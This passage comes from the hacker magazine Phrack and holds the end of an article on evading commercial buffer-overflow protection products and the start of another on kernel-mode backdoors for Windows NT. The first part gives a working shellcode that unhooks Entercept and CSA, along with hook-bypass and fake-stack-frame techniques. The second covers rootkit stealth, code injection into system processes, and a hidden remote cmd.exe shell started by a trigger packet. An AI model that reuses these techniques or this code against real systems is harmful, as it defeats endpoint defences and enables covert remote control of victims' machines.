one mistake in order to create a window of opportunity for an attacker.

For example, Okena/CSA and NAI Entercept both hook WinExec trying to
prevent attacker's shellcode from spawning a process.

The call path for WinExec looks like this:

       WinExec() --> CreateProcessA() --> CreateProcessInternalA() 

Okena/CSA and NAI Entercept hook both WinExec() and CreateProcessA()
(see Appendix A and B). However, neither product hooks
CreateProcessInternalA() (exported by kernel32.dll). When writing a
shellcode, an attacker could find the export for
CreateProcessInternalA() and use it instead of calling WinExec().

CreateProcessA() pushes two NULLs onto the stack before calling
CreateProcessInternalA(). Thus a shellcode only needs to push two NULLs
and then call CreateProcessInternalA() directly to evade the userland
API hooks of both products.

As new DLLs and APIs are released, the complexity of Win32 API internal
interactions increases, making the problem worse. Third party product
vendors are at a severe disadvantage when implementing their buffer
overflow detection technologies and are bound to make mistakes which
can be exploited by attackers.

----[ 4.2 - Fun With Trampolines

Most Win32 API functions begin with a five byte preamble. First, EBP is
pushed onto the stack, then ESP is moved into EBP.


             Code Bytes          Assembly
                  55             push ebp
                  8bec           mov ebp, esp


Both Okena/CSA and Entercept use inline function hooking. They overwrite
the first 5 bytes of a function with an immediate unconditional jump or
call. For example, this is what the first few bytes of WinExec() look like
after NAI Entercept's hooks have been installed:


               Code Bytes          Assembly
                     e8 xx xx xx xx       call xxxxxxxx
                     54                   push esp
                     53                   push ebx
                     56                   push esi
                     57                   push edi


Alternatively, the first few bytes could be overwritten with a jump


               Code Bytes               Assembly
                       e9 xx xx xx xx     jmp xxxxxxxx

Obviously, it is easy for shellcode to test for these and other signatures
before calling a function. If a hijacking mechanism is detected, the
shellcode can use several different techniques to bypass the hook. 

------[ 4.2.1 - Patch Table Jumping

When an API is hooked, the original preamble is saved into a table so that
the buffer overflow detector can recreate the original API after
performing its validation checks. The preamble is stored in a patch table,
which resides somewhere in the address space of an application. When
shellcode detects the presence of an API hook, it can simply search for
the patch table and make its calls to patch table entries. This
completely avoids the hook, preventing the userland buffer overflow
detector components from ever being in the attacker's call path.

------[ 4.2.2 - Hook Hopping

Alternatively, instead of locating the patch table, shellcode can include
its own copy of the original pre-hook preamble. After executing its own
API preamble, the shellcode can transfer execution to immediately after
the API hook (function address plus five bytes).

Since Intel x86 has variable length instructions, one must take this into
account in order to land on an even instruction boundary:

                        call WinExecPreamble
                        push ebp
                        mov ebp, esp
                        sub esp, 54
                        jmp WinExec+6


This technique will not work if another function within the call path
is also hooked. In this case, Entercept also hooks CreateProcessA(),
which WinExec() calls. Thus, to evade detection shellcode should call
CreateProcessA() using the stored copy of CreateProcessA's preamble.

----[ 4.3 - Repatching Win32 APIs

Thoroughly hooking Win32 APIs is not effective when certain fundamental
errors are made in the implementation of a userland buffer overflow
detection component.

Certain implementations (NAI Entercept) have a serious problem with the
way they perform their API hooking. In order to be able to overwrite
preambles of hooked functions, the code section for a DLL has to be made
writable. Entercept marks code sections of kernel32.dll and ntdll.dll as
writable in order to be able to modify their contents. However, Entercept
never resets the writable bit!

Due to this serious security flaw, it is possible for an attacker to
overwrite the API hook by re-injecting the original preamble code. For
the WinExec() and CreateProcessA() examples, this would require
overwriting the first 6 bytes (just to be instruction aligned) of
WinExec() and CreateProcessA() with the original preamble.

                     Code Bytes          Assembly
                       55                push ebp
                       8bec              mov ebp, esp
                       83ec54            sub esp, 54

                     Code Bytes          Assembly
                       55                push ebp
                       8bec              mov ebp, esp
                       ff752c            push DWORD PTR [ebp+2c]

This technique will not work against properly implemented buffer overflow
detectors, however it is very effective against NAI Entercept. A complete
shellcode example which overwrites the NAI Entercept hooks is presented


              // This sample code overwrites the preamble of WinExec and
              // CreateProcessA to avoid detection. The code then
              // calls WinExec with a "calc.exe" parameter.
              // The code demonstrates that by overwriting function
              // preambles, it is able to evade Entercept and Okena/CSA
              // buffer overflow protection.

                _asm {

                        jmp JUMPSTART
                        pop ebp
                        xor eax, eax
                        mov al, 0x30
                        mov eax, fs:[eax];
                        mov eax, [eax+0xc];

                        // We now have the module_item for ntdll.dll
                        mov eax, [eax+0x1c]

                        // We now have the module_item for kernel32.dll
                        mov eax, [eax]

                        // Image base of kernel32.dll
                        mov eax, [eax+0x8]

                        movzx ebx, word ptr [eax+3ch]

                        // pe.oheader.directorydata[EXPORT=0]
                        mov esi, [eax+ebx+78h]
                        lea esi, [eax+esi+18h]

                        // EBX now has the base module address
                        mov ebx, eax

                        // ECX now has the number of function names
                        mov ecx, eax
                        add eax,ebx

                        // EDX has addresses of functions               
                        mov edx,eax


                        // EAX has address of names              
                        add   eax,ebx

                        // Save off the number of named functions
			// for later
                        push ecx

                        // Save off the address of the functions
                        push edx

                        xor edx, edx

                        mov esi, ebp // Beginning of string table
                        inc esi

                        mov edi, [eax+edx*4]
                        add edi, ebx // EBX has the process base address

                        xor ecx, ecx
                        mov cl, BYTE PTR [ebp]
                        test cl, cl
                        jz DONESTRINGSEARCH

        STRINGSEARCH:   // ESI points to the function string table
                        repe cmpsb
                        je Found

                        // The number of named functions is on the stack
                        cmp [esp+4], edx
                        je NOTFOUND
                        inc edx
                        jmp INITSTRINGTABLE
                        pop ecx
                        shl edx, 2
                        add edx, ecx
                        mov edi, [edx]
                        add edi, ebx
                        push edi
                        push ecx
                        xor ecx, ecx
                        mov cl, BYTE PTR [ebp]
                        inc ecx
                        add ebp, ecx
                        jmp RESETEXPORTNAMETABLE

                        pop edi
                        pop edi
                        push 0x06
                        pop ecx
                        inc esi
                        rep movsb

                        pop edi
                        push edi
                        push 0x06
                        pop ecx
                        inc esi
                        rep movsb

                        push 0x03
                        push esi
                        call [esp+8]

                        pop edx
                        pop ecx
                        jmp EXIT

                        add esp, 0x1000
                        call START
                        _emit 0x07
                        _emit 'W'
                        _emit 'i'
                        _emit 'n'
                        _emit 'E'
                        _emit 'x'
                        _emit 'e'
                        _emit 'c'
                        _emit 0x0e
                        _emit 'C'
                        _emit 'r'
                        _emit 'e'
                        _emit 'a'
                        _emit 't'
                        _emit 'e'
                        _emit 'P'
                        _emit 'r'
                        _emit 'o'
                        _emit 'c'
                        _emit 'e'
                        _emit 's'
                        _emit 's'
                        _emit 'A'
                        _emit 0x00

                        _emit 0x06
                        _emit 0x55
                        _emit 0x8b
                        _emit 0xec
                        _emit 0x83
                        _emit 0xec
                        _emit 0x54
                        _emit 0x06
                        _emit 0x55
                        _emit 0x8b
                        _emit 0xec
                        _emit 0xff
                        _emit 0x75
                        _emit 0x2c
                        _emit 'c'
                        _emit 'a'
                        _emit 'l'
                        _emit 'c'
                        _emit '.'
                        _emit 'e'
                        _emit 'x'
                        _emit 'e'
                        _emit 0x00

                        _emit 0x90

                        // Normally call ExitThread or something here
                        _emit 0x90


----[ 4.4 - Attacking Userland Components

While evading the hooks and techniques used by userland buffer overflow
detector components is effective, there exist other mechanisms of
bypassing the detection. Because both the shellcode and the buffer
overflow detector are executing with the same privileges and in the same
address space, it is possible for shellcode to directly attack the
buffer overflow detector userland component.

Essentially, when attacking the buffer overflow detector userland
component the attacker is attempting to subvert the mechanism used to
perform the shellcode detection check. There are only two principle
techniques for shellcode validation checking. Either the data used for the
check is determined dynamically during each hooked API call, or the data
is gathered at process start up and then checked during each call.
In either case, it is possible for an attacker to subvert the process.

------[ 4.4.1 - IAT Patching

Rather than implementing their own versions of memory page information
functions, the commercial buffer overflow protection products simply use
the operating system APIs. In Windows NT, these are implemented in
ntdll.dll. These APIs will be imported into the userland component
(itself a DLL) via its PE Import Table. An attacker can patch vectors
within the import table to alter the location of an API to a function
supplied by the shellcode. By supplying the function used to do the
validation checking by the buffer overflow detector, it is trivial for
an attacker to evade detection.

------[ 4.4.2 - Data Section Patching

For various reasons, a buffer overflow detector might use a pre-built
list of page permissions within the address space. When this is the
case, altering the address of the VirtualQuery() API is not effective.
To subvert the buffer overflow detector, the shellcode has to locate and
modify the data table used by the return address validation routines.
This is a fairly straightforward, although application specific, technique
for subverting buffer overflow prevention technologies.

----[ 4.5 - Calling Syscalls Directly

As mentioned above, rather than using ntdll.dll APIs to make system
calls, it is possible for an attacker to create shellcode which makes
system call directly. While this technique is very effective against
userland components, it obviously cannot be used to bypass kernel based
buffer overflow detectors. 

To take advantage of this technique you must understand what parameters a
kernel function uses. These may not always be the same as the parameters
required by the kernel32 or ntdll API versions.

Also, you must know the system call number of the function in question.
You can find this dynamically using a technique similar to the one to find
function addresses. Once you have the address of the ntdll.dll version of
the function you want to call, index into the function one byte and read
the following DWORD. This is the system call number in the system call
table for the function. This is a common trick used by rootkit developers.

Here is the pseudo code for calling NtReadFile system call directly:
	xor eax, eax
	// Optional Key
	push eax        
	// Optional pointer to large integer with the file offset
	push eax	    	

	push Length_of_Buffer
	push Address_of_Buffer

	// Before call make room for two DWORDs called the IoStatusBlock
	push Address_of_IoStatusBlock 

	// Optional ApcContext
	push eax
	// Optional ApcRoutine
	push eax
	// Optional Event
	push eax

	// Required file handle
	push hFile

	// EAX must contain the system call number
	mov eax, Found_Sys_Call_Num

	// EDX needs the address of the userland stack
	lea edx, [esp]

	// Trap into the kernel
	// (recent Windows NT versions use "sysenter" instead)
	int 2e

----[ 4.6 - Faking Stack Frames

As described in section 3.2, kernel based stack backtracing can be
bypassed using fake frames. Same techniques works against userland based

To bypass both userland and kernel backtracing, shellcode can create a
fake stack frame without the ebp register on stack. Since stack
backtracing relies on the presence of the ebp register to find the next
stack frame, fake frames can stop backtracing code from tracing past
the fake frame.

Of course, generating a fake stack frame is not going to work when the
EIP register still points to shellcode which resides in a writable
memory segment. To bypass the protection code, shellcode needs to use
an address that lies in a non-writable memory segment. This presents
a problem since shellcode needs a way to eventually regain control of
the execution.

The trick to regaining control is to proxy the return to shellcode
through a "ret" instruction which resides in a non-writable memory
segment. "ret" instruction can be found dynamically by searching memory
for a 0xC3 opcode.

Here is an illustration of a normal LoadLibrary("kernel32.dll") call
that originates from a writable memory segment:

	push	kernel32_string
	call	LoadLibrary



	LoadLibrary:	; * see below for a stack illustration

	ret		; return to stack-based return_eip

	| address of "kernel32.dll" str|
	| return address (return_eip)  |

As explained before, the buffer overflow protection code executes before
LoadLibrary gets to run. Since the return address (return_eip) is in a
writable memory segment, the protection code logs the overflow
and terminates the process.

Next example illustrates 'proxy through a "ret" instruction' technique:

	push	return_eip
	push	kernel32_string

	; fake "call LoadLibrary" call
	push	address_of_ret_instruction
	jmp	LoadLibrary



	LoadLibrary:	; * see below for a stack illustration

	ret		; return to non stack-based address_of_ret_instruction


	ret		; return to stack-based return_eip

Once again, the buffer overflow protection code executes before
LoadLibrary gets to run. This time though, the stack is setup with a
return address pointing to a non-writable memory segment. In addition,
the ebp register is not present on stack thus the protection code cannot
perform stack backtracing and determine that the return address in the
next stack frame points to a writable segment. This allows the shellcode
to call LoadLibrary which returns to the "ret" instruction. In its turn,
the "ret" instruction pops the next return address off stack
(return_eip) and transfers control to it.

	| return address (return_eip)  |
	| address of "kernel32.dll" str|
	| address of "ret" instruction |

In addition, any number of arbitrary complex fake stack frames can be
setup to further confuse the protection code.

Here is an example of a fake frame that uses a "ret 8" instruction
instead of simple "ret":

	|          return address        |
	|  address of "ret" instruction  |	<- fake frame 2
	|         any value		 |
	| address of "kernel32.dll" str  |
	| address of "ret 8" instruction |	<- fake frame 1

This causes an extra 32-bit value to be removed from stack, complicating
any kind of analysis even further.

--[ 5 - Conclusions

The majority of commercial security systems do not actually prevent
buffer overflows but rather detect the execution of shellcode. The most
common technology used to detect shellcode is code page permission
checking which relies on stack backtracing.

Stack backtracing involves traversing stack frames and verifying that
the return addresses do not originate from writable memory segments such
as stack or heap areas.

The paper presents a number of different ways to bypass both userland
and kernel based stack backtracing. These range from tampering with
function preambles to creating fake stack frames.

In conclusion, the majority of current buffer overflow protection
implementations are flawed, providing a false sense of security and
little real protection against determined attackers. 

Appendix A: Entercept 4.1 Hooks

Entercept hooks a number of functions in userland and in the kernel. Here
is a list of the currently hooked functions as of Entercept 4.1.

User Land


Appendix B: Okena/Cisco CSA 3.2 Hooks

Okena/CSA hooks many functions in userland but many less in the kernel.
A lot of the userland hooks are the same ones that Entercept hooks.
However, almost all of the functions Okena/CSA hooks in the kernel are
related to altering keys in the Windows registry. Okena/CSA does not
seem as concerned as Entercept about backtracing calls in the kernel.
This leads to an interesting vulnerability, left as an exercise to the

User Land


|=[ EOF ]=---------------------------------------------------------------=|


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3e, Phile #0x06 of 0x10

|=---------------=[ Kernel-mode backdoors for Windows NT ]=--------------=|
|=-----------------=[ firew0rker <> ]=----------------=|
|=----------------=[ the nobodies <> ]=---------------=|

--[ Table of contents


    2.1 - NTROOTKIT
    2.2 - HE4HOOK


    4.1 - SHELL

  8 - FILES

--[ 1 - Preface

    This article is intended for those who know the architecture of the 
Windows NT kernel and the principles of operation of NT drivers. This
article examines issues involved in the development of kernel-mode tools 
for stealthy remote administration of Windows NT.

    Recently there has been a tendency of extending the use of Windows NT
(2000, XP, 2003) from it's classical stronghold as home and 
office OS to servers. At the same time, the outdated Windows 9x family is 
replaced by the NT family. Because of this it should be evident that remote
administration tools (backdoors) and unnoticeable access tools (rootkits)
for the NT family have a certain value. Most of the published utilities 
work in user-mode and can thus be detected by Antivirus tools or by manual

    It's quite another matter those works in kernel-mode: They can hide 
from any user-mode program. Antivirus software will have to suplly kernel-
mode components in order to detect a kernel-mode-backdoor. Software exists
that protects against such backdoors (such as IPD, "Integrity Protection
Driver"), but it's use is not widely spread. Kernel mode backdoors are not
as widely used as they could be due to their relative complexity in comp-
arison with user-mode backdoors.

--[ 2 - Overview of existing Kernel-Mode backdoors for Windows NT

    This section briefly reviews existing kernel-mode backdoors for Windows
----[ 2.1 - Ntrootkit
    Ntrootkit (c) by Greg Hoglund and a team of free developers [1] is a 
device driver for Windows NT 4.0 and 2000. It's possibilities (implemented
and potential):

 - Receiving commands from a remote client. The rk_packet module contains
   a simplified IP-stack, which uses free IP-address from the subnet where
   the host on which Ntrootkit has been installed is situated.

   It's MAC and IP addresses are hardcoded in the source. Connection with 
   the rootkit at that IP is carried out via a TCP connection to any port. 
   The available commands in rk_command.c are:

       ps - list processes
       help - self explainatory
       buffertest, echo and debugint - for debugging purpose
       hidedir - hide directory/file
       hideproc - hide process(es)
       sniffkeys - keyboard spy

   There are also imcomplete pieces of code: Execute commands received via
   a covert channel and starting a Win32-process from a driver (a hard and
   complicated task).

 - Encrypt all traffic using Schneier's Blowfish algorithm:
   rk_blowfish.c is present, but not (yet ?) used

 - Self-defense (rk_defense.c) - hide protected objects (in this
   case: registry keys), identified by the string "_root_"; redirect
   launched processes.

   The hiding of processes, directories and files as implemented in 
   rk_ioman.c is done through hooking the following functions: 

   The way to detect this rootkit:

   Make direct request to filesystem driver, send IRP to it. There is
   one more module that hooks file handling: rk_files.c, adopted from
   filemon, but it is not used.

 - Starting processes: An unfinished implementation of it can be found
   in rk_command.c, another one (which is almost complete and good) is 
   in rk_exec.c

   The implementation suffers from the fact that Zw* functions which are
   normally unavailable to drivers directly are called through the system
   call interface (int 0x2E), leading to problems with different versions
   of the NT family as system call numbers change.

    It seems like the work on Ntrootkit is very loosely coordinated: every
    developer does what (s)he considers needed or urgent. Ntrootkit does 
    not achieve complete (or sufficient) invisibility. It creates device 
    named "Ntroot", visible from User-Mode.

    When using Ntrootkit for anything practical, one will need some means
of interaction with the rootkitted system. Shortly: There will be the
need for some sort of shell. Ntrootkit itself can not give out a shell
directly, although it can start a process -- the downside is that the
I/O of that process can not be redirected. One is thus forced to start
something like netcat. It's process can be hidden, but it's TCP-connection
will be visible. The missing redirection of I/O is a big drawback.
    However, Ntrootkit development is still in progress, and it will 
probably become a fully-functional tool for complete and stealthy remote 

----[ 2.2 - He4Hook

    This description is based on [2]. The filesystem access was hooked via
two different methods in the versions up to and including 2.15b6. Only one
of it works at one time, and in versions after 2.15b6 the first method was

Method A: hook kernel syscalls:

ZwCreateFile, ZwOpenFile      - driver version 1.12 and from 1.17 to 
IoCreateFile                  - from 1.13 to 2.15beta6
ZwQueryDirectoryFile, ZwClose - before 2.15beta6

Almost all these exported functions (Zw*) have the following function
  mov eax, NumberFunction
  lea edx, [esp+04h]
  int 2eh                       ; Syscall interface

    The "NumberFunction" is the number of the called function in the 
syscalls table (which itself can be accessed via the global variable
KeServiceDescriptorTable). This variable points to following structure:

typedef struct SystemServiceDescriptorTable
    SSD  SystemServiceDescriptors[4];

Other structures:

typedef VOID *SSTAT[];
typedef unsigned char SSTPT[];

typedef struct SystemServiceDescriptor
    LPSSTAT lpSystemServiceTableAddressTable;
    ULONG  dwFirstServiceIndex;
    ULONG  dwSystemServiceTableNumEntries;
    LPSSTPT lpSystemServiceTableParameterTable;
  } SSD, *LPSSD;

The DescriptorTable pointed to by KeServiceDescriptorTable is only
accessible from kernel mode. In User-Mode, there is something called
KeServiceDescriptorTableShadow -- unfortunately it is not exported.

Base services are in


KernelMode GUI services are in

    Other elements of that tables were free at moment when [2] was
written, in all versions up to WinNt4(SP3-6) and Win2k build 2195.
Each element of the table is a SSID structure, which contains the 
following data:

lpSystemServiceTableAddressTable   - A pointer to an array of addresses
                                     of functions that will be called if
                                     a matching syscall is called
dwFirstServiceIndex                - Start index for the first function

dwSystemServiceTableNumEntries     - Number of services in table

lpSystemServiceTableParameterTable - An array of bytes specifying the
                                     number of bytes from the stack that
                                     will be passed through

In order to hook a system call, He4HookInv replaces the address stored in
with a pointer to it's own table.

One can interface with He4HookInv by adding your own services to the
system call tables. He4HookInv updates both tables:

- KeServiceDescriptorTable
- KeServiceDescriptorTableShadow.

Otherwise, if it updated only KeServiceDescriptorTable, new services 
would be unavailable from UserMode. To locate KeServiceDescriptorTable-
Shadow the following technique is used:

    The function KeAddSystemServiceTable can be used to add services to the
kernel. It can add services to both tables. Taking into account that its
0-th descriptor is identical, it's possible, by scanning
KeAddSystemServiceTable function's code, to find the address of the shadow
table. You can see how it is done in file He4HookInv.c, function 

    If this method fails for some reason, a hardcoded address is taken
(KeServiceDescriptorTable-0x230) as location of the shadow table. This 
address has not changed since WinNT Sp3. Another problem is the search
for the correct index into the function address array. As almost all Zw*
functions have an identical first instruction (mov eax, NumberFunction),
one can get a pointer to the function number easily by adding one byte
to the address exported by ntoskrnl.exe

Method B: (for driver versions 2.11 and higher)

    The callback tables located in the DRIVER_OBJECT of the file system
drivers are patched: The IRP handlers of the needed drivers are replaced.
This includes replacing the pointers to base function handlers 
(DRIVER_OBJECT->MajorFunction) as well as replacing pointers to the
drivers unload procedure (DRIVER_OBJECT->DriverUnload).

The following functions are handled:


For a more detailed description of the redirection of file operations
refer to the source [2].

----[ 2.3 - Slanret (IERK, Backdoor-ALI)

    The source code for this is unavailable -- it was originally disco-
vered by some administrator on his network. It is a normal driver 
("ierk8243.sys") which periodically causes BSODs, and is visible as a
service called "Virtual Memory Manager".

        "Slanret is technically just one component of a
         root kit. It comes with a straightforward backdoor
         program: a 27 kilobyte server called "Krei" that
         listens on an open port and grants the hacker remote
         access to the system. The Slanret component is a
         seven kilobyte cloaking routine that burrows into the
         system as a device driver, then accepts commands from
         the server instructing it on what files or processes
         to conceal." [3]

----[ 3. Stealth on disk, in registry and in memory

    The lower the I/O interception in a rootkit is performed, the harder
it usually is to detect it's presence. One would think that a reliable 
place for interception would be the low-level disk operations (read/write
sectors). This would require handling all filesystems that might be on 
the hard disk though: FAT16, FAT32, NTFS.

    While FAT was relatively easy to deal with (and some old DOS stealth
viruses used similar techniques) an implementation of something similar
on WinNT is a task for maniacs.

    A second place to hook would be hooking dispatch functions of file-
system drivers: Patch DriverObject->MajorFunction and FastIoDispatch in
memory or patch the drivers on disk. This has the advantage of being re-
latively universal and is the method used in HE4HookInv.

    A third possibility is setting a filter on a filesyste driver (FSD).
This has no advantages in comparison with the previous method, but has 
the drawback of being more visible (Filemon uses this approach). The
functions Zw*, Io* can then be hooked either by manipulating the Ke-
ServiceDescriptorTable or directly patching the function body. It is
usually quite easy to detect that pointers in KeServiceDescriptorTable
point to strange locations or that the function body of a function has
changed. A filter driver is also easy to detect by calling IoGetDevice-
ObjectPointer and then checking DEVICE_OBJECT->StackSize.

    All normal drivers have their own keys in the registry, namely in

    The abovementioned rootkits can hide registry keys, but obviously,
if the system is booted "cleanly", an administrator can see anything that
was hidden. One can also load a rootkit using ZwSetSystemInformation(
SystemLoadAndCallimage) without the need to create any registry keys. An
example of this technique can be found in [6].

    A rootkit loader in a separate file is too unstealthy. It might be a
smarter move to patch that call into some executable file which is part of
the system boot. One can use any driver or user-mode program that works 
with sufficient privileges, or any DLL linked to by it. One has to ask one
question though: If the newly introduced changes need to be hidden anyway,
why make two similar but differing procedures (for hiding changes to a
file as well as hiding the existance of a file) instead of limiting our-
selves to one ?

    In most cases one can target null.sys. Implementing it's functionality
is as easy as "hello world", and that is why it is usually replaced with a 
trojan. But if we are going to have a procedure for hiding changes to a
file, we can replace ANY driver with a trojan that will substitute the 
content of the replaced file with the original content to everyone (incl-
uding the kernel). Upon startup, it will copy itself to some allocated 
memory area and start a thread there. 

    This will make the trojan almost unnoticeable in memory: No system 
utility can see the driver any more, as it is just an anonymous memory
page amongst many. We do not even need a thread, using intercepted IRP 
dispatch functions of some driver (DriverObject->MajorFunction[IRP_MJ_xxx]).
We can also use IoQueueWorkItem and KeInsertQueueDpc, so no additional
threads in SYSTEM will be visible in the task manager. After this is done
the trojan can unload the driver it was started from, and reload it in a
clean (unchanged) variant. As a result, high levels of stealth will be 
achieved by relatively simple means. The original content of the manipu-
lated file could for example be stored in the trojan's file after the
trojan itself.

    It will then be sufficient to hook all FSD requests (IRP and FastIO)
and upon access change the position (and size of the file).
--[ 4 - My variant: The thorny path

----[ 4.1 - Shell

    I originally intended to do something similarily simple as standard
user-mode code: Just pass a socket handle for stdin/stdout/stderr to the
newly created cmd.exe process. I did not find a way to open a useful 
socket from a driver though, as the interface with the AFD driver (kmode
core of winsock) is undocumented. Reverse-engineering it's usage was not
an option either as due to changes between versions my technique would be
unreliable. I had to find a different way.

First variant

    We could start our code in the context of some process, using a shell-
code quite similar to that used in exploits. The code could wait for a TCP
connection and start cmd.exe with redirected I/O.

    I chose this way when I tired of trying to start a full-fledged win32
process from a driver. The shellcode is position-independent, searches for
kernel32.dll in memory and loads the winsock library. All that needs to be
done is injecting the shellcode into the address space of a process and 
pass control to the entry point of the shellcode. However, in the process
of doing this the normal work of the process must not be interrupted, be-
cause a failure in a critical system process will lead to a failure of the
whole system.

    So we need to allocate memory, write shellcode there, and create a
thread with EIP = entry point of the shellcode. Code to do this can be 
found in the attached file shell.cpp. Unfortunately, when CreateProcess
is called from the thread started in this way it failed, most probably 
because something that CreateProcess relies upon was not initialized pro-
poerly in the context of our thread. We thus need to call CreateProcess
from a thread context which has everything that CreateProcess needs ini-
tialized -- we're going to take a thread which belongs to the process we
are intruding into (I used SetThreadContext for that). One needs to re-
store the state of the thread prior to the interruption so it can contiue
it's normal operation.

    So we need to: Save thread context via GetThreadContext, set the EIP 
to our context via SetThreadContext, wait for the code to complete, and
then restore the original cont again. The rest is just a usual shellcode 
for Windows NT (full code in dummy4.asm).

    One unsolved problem remains: If the thread is in waiting state, it 
will not run until it wakes up. Using ZwAlertThread does not yield any re-
sult if the thread is in a nonalertable wait state. Fortunately, the 
thread in services.exe worked without a problem -- this does not imply it
will stay like this in the future though, so I continued my research:

Second variant

    Things are not as easy as [4] makes them sound. Creating a full-
fledged win32-process requires it's registration in the CSRSS subsystem.
This is accomplished by using CsrClientCallServer(), which receives all
necessary information about the process (handles, TID, PID, flags). The
functions calls ZwRequestWaitReplyPort, which receives a handle of a pre-
viously opened port for connection with CSRSS.

    This port is not open in the SYSTEM process context. Opening it never
succeeded (ZwConnectPort returned STATUS_PORT_CONNECTION_REFUSED). Play-
ing with SECURITY_QUALITY_OF_SERVICE didn't help. While disassembling
ntdll.dll I saw that ZwConnectPort calls were preceded by ZwCreateSection.
But there was no time and no desire to play with sections. Here is the
code that didn't work:

VOID InformCsrss(HANDLE hProcess,HANDLE hThread,ULONG pid,ULONG tid)
        CSRMSG                        csrmsg;
        HANDLE                        hCurProcess;
        HANDLE                        handleIndex;
        PVOID                        p;

        _asm int 3;

        UNICODE_STRING                PortName;
                {sizeof(QoS), SecurityAnonymous, 0, 0};
                (_SECURITY_IMPERSONATION_LEVEL)2, 0x120101, 0x10000};*/
        DWORD ret=ZwConnectPort(&handleIndex,&PortName,&QoS,NULL,
        if (!ret) {

    The solution to the problem was obvious; Switch context to one in
which the port is open, e.g. to the context of any win32-process. I inser-
ted KeAttachProcess(HelperProcess) before calling Nebbet's InformCsrss,
and KeDetachProcess afterwards. The role of the HelperProcess was taken
by calc.exe.

    When I tried using KeAttachProcess that way I failed though: The con-
text was switched (visible using the proc command in SoftICE), but Csr-
ClientCallServer returned STATUS_ILLEGAL_FUNCTION. Only Uncle Bill knows
what was happening inside CSRSS.
    When trying to frame the whole process creation function into
KeAttachProcess/KeDetachProcess led to the following error when calling
ZwCreateProcess: "Break Due to KeBugCheckEx (Unhandled kernel mode
exception) Error=5 (INVALID_PROCESS_ATTACH_ATTEMPT) ... ".

    A different way to execute my code in the context of an arbitrary
process is APC. The APC may be kmode or user-mode. As long as only kmode
APC may overcome nonalertable wait state, all code for process creation
must be done in kernel mode. Nebbet's code normally works at 
Code execution in the context of a given win32-process by means of APC is
implemented in the StartShell() function, in file ShellAPC.cpp.
Interaction with the process

    Starting a process isn't all. The Backdoor still needs to communicate
with it: It is necessary to redirect it's stdin/stdout/stderr to our 
driver. We could do this like most "driver+app"-systems: Create a device
that is visible from user-mode, open it using ZwOpenFile and pass the
handle to the starting process (stdin/stdout/stderr). But a named device
is not stealthy, even if we automatically create a random names. This is
why I have chosen to use named pipes instead.
    Windows NT uses named pipes with names like Win32Pipes.%08x.%08x (here
%08x is random 8-digit numbers) for emulation of anonymous pipes. If we 
create one more such pipe, nobody will notice. Usually, one uses 2 anon-
ymous pipes r redirecting I/O of a console application in Win32, but when
using a named pipe one will be sufficient as it is bi-directional. The 
driver must create a bi-directional named pipe, and cmd.exe must use it's
handle as stdin/stdout/stderr.

    The handle can be opened in both kmode and user-mode. The final ver-
sion uses the first variant, but I have also experimented with the second
variant -- being able to implement different variants may help evade anti-
viruses. Starting a process with redirected I/O has been completely imple-
mented in kernel mode in the file NebbetCreateProcess.cpp.

    There are two main differences between my and Nebbet's code: The fun-
ctions that are not exported from ntoskrnl.exe but from ntdll, are dyn-
amically imported (see NtdllDynamicLoader.cpp). The handle to the named
pipe is opened with ZwOpenFile() and passed to the starting process with
ZwDuplicateObject with DUPLICATE_CLOSE_SOURCE flag.

    For opening the named pipe from user mode I inject code into a start-
ing process. I attached the patch (NebbetCreateProcess.diff) for edu-
cational purposes. It adds a code snippet to a starting process. The 
patch writes code (generated by a C++ compiler) to a process's stack. For
independence that code is a function which accepts a pointer to a struc-
ture containing all the necessary data (API addresses etc) as parameter.
This structure and a pointer to it are written to the stack together with
the code of the function itself. ESP of the starting thread is set 4 bytes
bellow the pointer to the parameters of the function, and EIP to it's en-
try point. Once the injected code is done executing, it issues a CALL back
to the original entry point. This example can be modified to be yet 
another way of injecting code into a working userland process from kernel

---[ 4.2 - Activation and communication with the remote client

    If a listening socket is permanently open (and visible to netstat -an)
it is likely to be discovered. Even if one hides the socket from netstat
is insufficient as a simple portscan could uncover the port. To remain 
stealthy a backdoor must not have any open ports visible locally or re-
motely. It is necessary to use a special packet, which on the one hand
must be unambigously identified by the backdoor as activation signal, yet
at the same time must not be so suspicious as to trigger alerts or be fil-
tered by firewalls. The activation signal could e.g. be a packet contain-
ing a set of packets at any place (header or data) -- all characteristics
of the packet (protocol, port etc) should be ignored. This allows for max-
imum flexibility to avoid aggressive packet filters.

    Obviously, we have to implement some sort of sniffer in order to 
detect such a special packet. In practice, we have several choices on how
to implement the sniffer:

1) NDIS protocol driver (advantage: possibility not only to receive
   packets, but also to send - thus making covert channel for
   communication with remote client possible; disadvantage: difficulties 
   with supporting all types of network devices) - applied in ntrootkit;

2) use service provided by IpFilterDriver on w2k and higher
   (advantages: simple implementation and complete independence
   from physical layer; disadvantage: receive only);

3) setup filter on 1 of network drivers, through which packets pass
   through (see [5]);

4) direct appeal to network drivers by some other means for receive
   and send packets (advantage: can do everything; disadvantage:
   unexplored area).

    I have chosen variant 2 due to it's simplicity and convenience for both
described variants of starting a shell. IpFilterDriver used only for
activation, further connection is made via TCP by means of TDI.

    An example of the usage of IpFilterDriver can be seen in Filtering.cpp
and MPFD_main.cpp. InitFiltering() loads the IpFilterDriver if it isn't 
yet loaded. Then it calls SetupFiltering, which sets a filter with 
IOCTL_PF_SET_EXTENSION_POINTER IOCTL. PacketFilter() is then called on 
each IP packet. If a keyword is detected StartShellEvent is set and causes
a shell to be started.

    The variant using shellcode in an existing process works with the
network in user-mode, thus we do not need to describe anything in detail.
    A Kernel-mode TCP shell is implemented in NtBackd00r.cpp. When cmd.exe
is started from a driver with redirected I/O, the link is maintained by 
the driver. I took the tcpecho example as base for the communitcation mod-
ule in order not to waste time coding a TDI-client from scratch. 
DriverEntry() initialises TDI, creates a listening socket and an unnamed 
device for IoQueueWorkItem.

    For each conenction an instance of the Session class is created. In
it's OnConnect handler a sequence of operations for creating a process.
process. As long as this handler is called at IRQL==DISPATCH_LEVEL, it's
impossible to do all necessary operations directly in it. It's even
impossible to start a thread because PsCreateSystemThread must be called
only at PASSIVE_LEVEL according to the DDK. Therefore the OnConnect 
handler calls IoAllocateWorkItem and IoQueueWorkItem in order to do any
further operations accomplished in WorkItem handler (ShellStarter 
function) at PASSIVE_LEVEL.

    ShellStarter calls StartShell() and creates a worker thread
(DataPumpThread) and 2 events for notifying it about arriving packets and
named pipe I/O completion. Interaction between the WorkItem/thread and 
Session class was built with taking a possible sudden disconnect and
